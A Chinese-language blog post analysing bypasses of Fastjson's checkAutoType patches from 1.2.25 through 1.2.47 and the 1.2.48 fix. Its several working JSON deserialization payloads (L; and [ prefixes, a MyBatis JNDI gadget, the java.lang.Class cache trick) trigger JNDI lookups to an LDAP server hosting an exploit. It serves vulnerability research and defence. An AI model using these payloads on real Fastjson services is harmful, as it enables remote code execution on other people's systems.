Fork me on GitHub

Fastjson 1.2.25-1.2.47 补丁绕过

Fastjson 1.2.25-1.2.47 补丁绕过

补丁分析

在 Fastjson1.2.25 中使用了 checkAutoType 来修复1.2.22-1.2.24中的漏洞,其中有个 autoTypeSupport 默认为 False。当 autoTypeSupport 为 False 时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当 autoTypeSupport 为 True 时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。

补丁绕过(需要开启AutoTypeSupport)

需要开启 AutoTypeSupport

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

一、1.2.25-1.2.41补丁绕过

漏洞复现

POC:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

执行效果:

漏洞分析

Fastjson反序列化漏洞分析--JdbcRowSetImpl利用链中我们已经进行了详细的分析,直接跳转到:

当 autoTypeSupport 为 False 时,首先进行黑名单过滤:

黑名单中没有再进行白名单过滤

此时白名单为空,继续向下执行

此时会通过这个判断从而抛出异常。所以说,当autoTypeSupport 为 False 时必须配置有白名单,才能进行loadClass操作。

当 autoTypeSupport 为 True 时,首先进行白名单过滤,再进行黑名单过滤:

可以看到黑名单中有com.sun,对com.sun.rowset.JdbcRowSetImpl进行过滤,所以在前面加入L进行绕过。接下来有如下判断

此时 autoTypeSupport 为 True,跟入loadClass

这里判断如果className是以L开头,并以;结尾,那么去除开头的L以及末尾的;,得到 newClassName 然后 loadClass,这样就绕过了CheckAutoType 的检查。

二、1.2.25-1.2.42补丁绕过

哈希黑名单

从1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单,目的是防止对黑名单进行分析绕过,目前已经破解出来的黑名单见:https://github.com/LeadroyaL/fastjson-blacklist

POC:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

漏洞分析

在CheckAutoType里面增加了一次对className的提取操作,所以我们再写一对L;来绕过黑名单

在TypeUtils.loadClass里面再进行一次提取操作,但是这里进行提取操作的是typeName

可以看到最后还是得到Lcom.sun.rowset.JdbcRowSetImpl;然后程序会循环调用自身的loadClass以得到正常的类com.sun.rowset.JdbcRowSetImpl,之后就可以正常的loadClass了。

三、1.2.25-1.2.43补丁绕过

漏洞复现

当使用上面LLcom.sun.rowset.JdbcRowSetImpl;;时,会发生错误

原因是补丁 1.2.43 在 checkAutoType 里面添加了如下代码,连续出现两个L会抛出异常

所以就不能用L来绕过,注意到如果开头为[也会有对应操作,代码如下

所以考虑添加[进行绕过,首先尝试如下payload

{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

得到如下结果

提示说希望在 42 列处加一个[号,刚好那个位置是第一个逗号,于是在前面添加一个[,payload如下

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

结果如下

报错说希望在 43 列有一个{,那么就在[后加一个{,payload如下

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

结果如下

可以看到,成功触发漏洞

漏洞分析

进入当开头为[的判断,下断点调试

发现传入的为[com.sun.rowset.JdbcRowSetImpl

判断如果className是以[开头,那么去除开头的[,得到 newClassName 然后 loadClass,这样就绕过了CheckAutoType 的检查。

四、1.2.25-1.2.45补丁绕过

漏洞利用

需要目标服务端存在mybatis的jar包,且版本需为 3.x.x 系列<3.5.0 的版本

POC

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

漏洞分析

首先试试 1.2.43 补丁绕过的payload

报错,原因是可以发现 checkAutoType 中添加了针对[的检测,如果第一个字符为[直接抛出异常

由于 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 不在黑名单中,所以直接能绕过checkAutoType的检测

查看 setter 方法,可以看到 lookup 里面的值是通过我们传入的data_source得到了所以造成了 JNDI 注入

五、1.2.25-1.2.47通杀

漏洞复现

漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测
这里有两个版本段:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用

POC

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/Exploit",
        "autoCommit":true
    }
}

使用1.2.47 复现

未开启 AutoTypeSupport 后

开启 AutoTypeSupport 后

可以发现, AutoTypeSupport 无论是 True 或者 False,都能利用

漏洞分析

未开启AutoTypeSupport时

因为未开启AutoTypeSupport,所以就不会进入黑白名单判断的逻辑

跟进findClass()

因为 type 的值是java.lang.Class,所以在findClass可以找到,最后返回clazz,接着会进入MiscCodec#deserialze

跟进deserialze(),找到TypeUtils.loadClass函数

这里使用了TypeUtils.loadClass函数加载了strVal,也就是JdbcRowSetlmpl,跟进发现会将其缓存在map

第二次解析时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,然后 return 返回从而成功绕过checkAutoType()检测

开启AutoTypeSupport时

由于开启了AutoTypeSupport,所以会进行黑白名单判断

第一次解析时@type值为java.lang.Class所以都能通过,最后通过findClass函数获取到Class

第二次解析时@type值就成了com.sun.rowset.JdbcRowSetImpl此时进行如下判断

if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null)

第一个判断条件Arrays.binarySearch(denyHashCodes, hash) >= 0是满足的,因为我们的@type包含了黑名单的内容;关键在于第二个判断条件TypeUtils.getClassFromMapping(typeName) == null,这里由于前面已经将com.sun.rowset.JdbcRowSetImpl类缓存在Map中了,也就是说该条件并不满足,导致能够成功绕过黑名单校验、成功触发漏洞。

六、1.2.48补丁分析

在loadClass时,将缓存开关默认设置为False,所以就不会通过缓存的判断。同时将Class类加入黑名单

posted @ 2021-08-13 17:26  吟风芥尘  阅读(453)  评论(0编辑  收藏  举报